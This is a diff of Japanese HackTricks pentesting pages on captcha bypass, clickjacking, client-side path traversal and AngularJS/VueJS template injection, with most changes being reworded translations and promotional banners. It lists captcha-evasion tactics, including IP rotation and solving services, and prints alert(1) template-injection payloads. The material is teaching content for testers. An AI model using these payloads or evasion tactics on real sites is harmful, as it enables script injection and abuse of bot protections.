[**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index 63cff6a3e..1e2704fdd 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -2,52 +2,52 @@
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
## Captcha Bypass -**サーバーテスト**中のcaptchaを**バイパス**してユーザー入力機能を自動化するために、さまざまな技術が利用されます。目的はセキュリティを妨害することではなく、テストプロセスを効率化することです。以下は、戦略の包括的なリストです: +**サーバーテスト**中のcaptchaを**バイパス**してユーザー入力機能を自動化するために、さまざまなテクニックを使用できます。目的はセキュリティを妨げることではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです: -1. **パラメータ操作**: +1. **パラメータ操作**: * **Captchaパラメータを省略**:captchaパラメータを送信しないようにします。HTTPメソッドをPOSTからGETに変更したり、他の動詞に変更したり、フォームデータとJSONの間を切り替えるなど、実験してみてください。 * **空のCaptchaを送信**:captchaパラメータを空のままにしてリクエストを送信します。 -2. **値の抽出と再利用**: -* **ソースコードの検査**:ページのソースコード内でcaptchaの値を検索します。 -* **Cookieの分析**:cookieを調べて、captchaの値が保存および再利用されているかどうかを確認します。 -* **古いCaptchaの値を再利用**:以前に成功したcaptchaの値を再利用しようとします。 -* **セッションの操作**:異なるセッションまたは同じセッションIDで同じcaptchaの値を使用してみてください。 +2. **値の抽出と再利用**: +* **ソースコードの検査**:ページのソースコード内でcaptcha値を検索します。 +* **Cookieの分析**:cookieを調べて、captcha値が保存されて再利用されているかどうかを確認します。 +* **古いCaptcha値の再利用**:以前に成功したcaptcha値を再利用しようとします。 +* **セッションの操作**:異なるセッションまたは同じセッションIDで同じcaptcha値を使用してみてください。 -3. **自動化と認識**: -* **数学的なCaptcha**:captchaに数学演算が含まれている場合、計算プロセスを自動化します。 -* **画像認識**: +3. **自動化と認識**: +* **数学的なCaptcha**:captchaに数学演算が関わっている場合、計算プロセスを自動化します。 +* **画像認識**: * 画像から文字を読み取る必要があるcaptchaの場合、一意の画像の総数を手動またはプログラムで特定します。セットが限られている場合、各画像をそのMD5ハッシュで識別できるかもしれません。 * [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)などのOptical Character Recognition(OCR)ツールを使用して、画像からの文字読み取りを自動化します。 -4. **追加の技術**: -* **レート制限テスト**:アプリケーションが一定期間内の試行回数や提出回数を制限しているかどうか、およびこの制限をバイパスまたはリセットできるかどうかを確認します。 +4. **追加のテクニック**: +* **レート制限テスト**:アプリケーションが一定期間内の試行回数や送信回数を制限しているかどうか、この制限をバイパスしたりリセットしたりできるかどうかを確認します。 * **サードパーティサービス**:自動化されたcaptcha認識と解決を提供するcaptcha解決サービスやAPIを利用します。 * **セッションとIPのローテーション**:サーバーによる検出とブロックを回避するために、セッションIDとIPアドレスを頻繁に変更します。 * **User-Agentとヘッダーの操作**:User-Agentや他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣します。 -* **音声Captchaの分析**:音声Captchaオプションが利用可能な場合、音声-to-textサービスを使用してCaptchaを解釈および解決します。 +* **音声Captchaの分析**:音声Captchaオプションが利用可能な場合、音声テキスト変換サービスを使用してCaptchaを解釈して解決します。 ## Captchaをバイパスするためのオンラインサービス ### [Capsolver](https://www.capsolver.com/) -Capsolverの自動captchaソルバーは、**最も手頃で迅速なcaptcha解決ソリューション**を提供します。簡単な統合オプションを使用して、数秒で最高の結果を得ることができます。 +Capsolverの自動captchaソルバーは、**最も手頃で迅速なcaptcha解決ソリューション**を提供します。簡単な統合オプションを使用して、数秒で最高の結果を得るためにプログラムに迅速に組み込むことができます。 -Capsolverは99.15%の成功率で**1分間に10M以上のcaptchaを解答**できます。これは、あなたの自動化またはスクレイプが99.99%のアップタイムを持つことを意味します。予算が大きい場合は、captchaパッケージを購入できます。 +成功率99.15%のCapsolverは、**1分間に10M以上のcaptchaを解答**できます。これは、自動化またはスクレイプが99.99%のアップタイムを持つことを意味します。予算が大きい場合は、captchaパッケージを購入できます。 -市場で最も低価格で、reCAPTCHA V2、reCAPTCHA V3、hCaptcha、hCaptcha Click、reCaptcha Click、Funcaptcha Click、FunCaptcha、datadome captcha、aws captcha、picture-to-text、binance / coinmarketcap captcha、geetest v3 / v3など、さまざまなソリューションを入手できます。このサービスでは、**0.1秒が測定された中で最も遅い速度**です。 +市場で最も低価格で、reCAPTCHA V2、reCAPTCHA V3、hCaptcha、hCaptcha Click、reCaptcha Click、Funcaptcha Click、FunCaptcha、datadome captcha、aws captcha、picture-to-text、binance / coinmarketcap captcha、geetest v3 / v3など、さまざまなソリューションを提供しています。このサービスでは、**0.1秒が測定された中で最も遅い速度**です。 diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 98605ccd8..3d02faaf6 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -6,34 +6,34 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Clickjackingとは -Clickjacking攻撃では、**ユーザー**が**見えない**か、別の要素として偽装された**Webページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。 +Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。 ### フォームの事前入力トリック -時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます**。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにすることがあります。 +時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すように誘導することがあります。 ### ドラッグ&ドロップでフォームにデータを入力 -ユーザーに**フォームを記入**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように依頼することで、制御されたデータを書き込むことができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)を参照してください。 +ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように求めることで、制御されたデータを書き込むことができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)を参照してください。 ### 基本的なペイロード ```markup @@ -110,10 +110,10 @@ background: #F00; ``` ### XSS + Clickjacking -**XSS攻撃を特定し、ユーザーがクリックする必要がある**要素があり、かつページが**Clickjackingに脆弱**である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。\ +**XSS攻撃**を特定し、**ユーザーがクリックする必要がある**要素がある場合、XSSを**トリガー**し、ページが**Clickjackingに脆弱**である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。\ 例:\ -_アカウントの一部のプライベート詳細(**あなただけが設定および読み取り可能**)に**self XSS**を見つけました。これらの詳細を設定するための**フォーム**が**Clickjacking**に**脆弱**であり、GETパラメータで**フォーム**を**事前に埋め込む**ことができます。_\ -\_\_攻撃者は、そのページに**Clickjacking**攻撃を準備し、**XSSペイロード**を**フォームに事前に埋め込み**、**ユーザー**をだまして**フォームを送信**させる可能性があります。そのため、**フォームが送信され**値が変更されると、**ユーザーがXSSを実行**します。 +_アカウントの一部のプライベート詳細(**あなただけが設定および読み取り可能**)に**self XSS**を見つけました。これらの詳細を設定する**フォーム**が**Clickjackingに脆弱**であり、GETパラメータで**フォーム**を**事前に埋め込む**ことができます。_\ +\_\_攻撃者は、そのページに対して**Clickjacking**攻撃を準備し、**XSSペイロード**を**フォームに事前に埋め込み**、**ユーザー**をだまして**フォームを送信**させることができます。そのため、**フォームが送信され**値が変更されると、**ユーザーがXSSを実行**します。 ## Clickjackingの緩和戦略 @@ -133,7 +133,7 @@ _アカウントの一部のプライベート詳細(**あなただけが設 ```html ``` -### サーバーサイドの防御 +### サーバーサイドの防御策 #### X-Frame-Options @@ -146,11 +146,11 @@ _アカウントの一部のプライベート詳細(**あなただけが設 #### Content Security Policy (CSP)のframe-ancestorsディレクティブ -Clickjacking保護のために**CSP内の`frame-ancestors`ディレクティブ**が推奨される方法です: +CSP内の**`frame-ancestors`ディレクティブ**はClickjacking保護の推奨される方法です: -- `frame-ancestors 'none'` - `X-Frame-Options: deny`に類似。 -- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`に類似。 -- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`に類似。 +- `frame-ancestors 'none'` - `X-Frame-Options: deny`と同様。 +- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`と同様。 +- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`と同様。 たとえば、次のCSPは同じドメインからのフレーミングのみを許可します: @@ -158,13 +158,13 @@ Clickjacking保護のために**CSP内の`frame-ancestors`ディレクティブ* 詳細や複雑な例は、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)および[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)で見つけることができます。 -### `child-src`および`frame-src`を使用したContent Security Policy(CSP) +### Content Security Policy (CSP)の`child-src`および`frame-src` -**Content Security Policy(CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐセキュリティ対策です。 +**Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。 #### `frame-src`ディレクティブ - フレームの有効なソースを定義します。 -- `default-src`ディレクティブより具体的です。 +- `default-src`ディレクティブよりも具体的です。 ``` Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` @@ -193,7 +193,7 @@ top.location = self.location; ``` #### Anti-CSRFトークンの利用 -* **トークンの検証:** WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。 +* **トークンの検証:** WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われないようにします。 ## 参考文献 @@ -204,20 +204,20 @@ top.location = self.location; \ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +今すぐアクセス: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ +**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう htARTE (HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/pentesting-web/client-side-path-traversal.md b/pentesting-web/client-side-path-traversal.md index 75434fefd..cf1e1994e 100644 --- a/pentesting-web/client-side-path-traversal.md +++ b/pentesting-web/client-side-path-traversal.md @@ -1,33 +1,23 @@ -# クライアント側のパストラバーサル +# クライアントサイドパストラバーサル
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
## 基本情報 -クライアント側のパストラバーサルは、URLのパスを**操作できる**ときに発生します。このURLは、ユーザーが**正当な方法で訪れるために送信される**か、ユーザーが何らかの方法で**強制的に訪れる**ことになります(たとえば、JSやCSSを介して)。 +クライアントサイドパストラバーサルは、**URLのパスを操作できる**ときに発生します。そのURLは、ユーザーが**正当な方法で訪れるために送信される**か、ユーザーが**例えばJSやCSS経由で強制的に訪れる**可能性があります。 -[**この解説記事**](https://erasec.be/blog/client-side-path-manipulation/)では、**招待URLを変更**してカードを**キャンセル**することができました。 +[**この解説**](https://erasec.be/blog/client-side-path-manipulation/)では、**招待URLを変更**して**カードをキャンセル**することが可能でした。 -[**この解説記事**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)では、**クライアント側のパストラバーサル(CSSを介してCSSリソースの読み込み先のパスを変更することができる)**と**オープンリダイレクト**を組み合わせて、CSSリソースを**攻撃者が制御するドメイン**から読み込むことができました。 - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+[**この解説**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)では、**クライアントサイドパストラバーサルをCSS経由で組み合わせることが可能**であり(CSSリソースが読み込まれるパスを変更することができました)、**オープンリダイレクト**を組み合わせて、CSSリソースを**攻撃者が制御するドメインから読み込む**ことができました。 diff --git a/pentesting-web/client-side-template-injection-csti.md b/pentesting-web/client-side-template-injection-csti.md index acbbc9736..3eaf7d403 100644 --- a/pentesting-web/client-side-template-injection-csti.md +++ b/pentesting-web/client-side-template-injection-csti.md @@ -1,29 +1,29 @@
-htARTE(HackTricks AWS Red Team Expert) htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする +* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
# 概要 -これは**サーバーサイドテンプレートインジェクション**(ssti-server-side-template-injection/)のようですが、**クライアント**側で行われます。**SSTI**はリモートサーバーで**コードを実行**することを可能にする一方、**CSTI**は被害者で**任意のJavaScriptコードを実行**することを可能にします。 +これは**サーバーサイドテンプレートインジェクション**(ssti-server-side-template-injection/)の**クライアント**版です。**SSTI**はリモートサーバーで**コードを実行**できる可能性がありますが、**CSTI**は被害者で**任意のJavaScriptコードを実行**できる可能性があります。 -この脆弱性を**テスト**する方法は、**SSTI**の場合と非常に**類似**しています。インタプリタは**二重のキーの間に実行するもの**を期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなものを使用すると、サーバーが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。 +この脆弱性を**テスト**する方法は、**SSTI**の場合と非常に**類似**しています。インタプリタは**ダブルキーの間に実行するもの**を期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなものを使用すると、サーバーが**脆弱**であれば`0`が表示され、そうでない場合は元の`{{ 7-7 }}`が表示されます。 # AngularJS -AngularJSは広く使用されているJavaScriptフレームワークで、**`ng-app`**などのディレクティブとして知られる属性を介してHTMLとやり取りします。このディレクティブにより、AngularJSがHTMLコンテンツを処理し、二重中括弧内でJavaScript式を実行できるようになります。 +AngularJSはHTMLとやり取りする広く使用されているJavaScriptフレームワークで、**`ng-app`**などのディレクティブとして知られる属性を介してHTMLとやり取りします。このディレクティブにより、AngularJSがHTMLコンテンツを処理し、二重中括弧内でJavaScript式を実行できるようになります。 -ユーザー入力が`ng-app`でタグ付けされたHTML本文に動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を活用することで実現できます。以下に、JavaScriptコードを実行する方法を示す例があります: +ユーザー入力が`ng-app`でタグ付けされたHTML本文に動的に挿入されるシナリオでは、任意のJavaScriptコードを実行できます。これは、入力内でAngularJSの構文を活用することで実現できます。以下に、JavaScriptコードを実行する方法を示す例があります: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -35,7 +35,7 @@ AngularJSは広く使用されているJavaScriptフレームワークで、**`n 非常**基本的なオンライン例**は、[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)で**AngularJS**の脆弱性を見つけることができます。また、**[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**でも確認できます。 {% hint style="danger" %} -[**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) したがって、このバージョンから、`{{constructor.constructor('alert(1)')()}}`や``のようなペイロードが機能するはずです。 +[**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.)ので、このバージョンから`{{constructor.constructor('alert(1)')()}}`や``のようなペイロードが機能するはずです。 {% endhint %} # VueJS @@ -54,9 +54,9 @@ VUEにおけるCSTIに関する非常に良い投稿は、[https://portswigger.n ``` {{_openBlock.constructor('alert(1)')()}} ``` -## **V2** +Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) -信用: [Gareth Heyes、Lewis Ardern&PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +## **V2** ``` {{constructor.constructor('alert(1)')()}} ``` @@ -89,14 +89,14 @@ javascript:alert(1)%252f%252f..%252fcss-images
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローする。** -* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。** +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
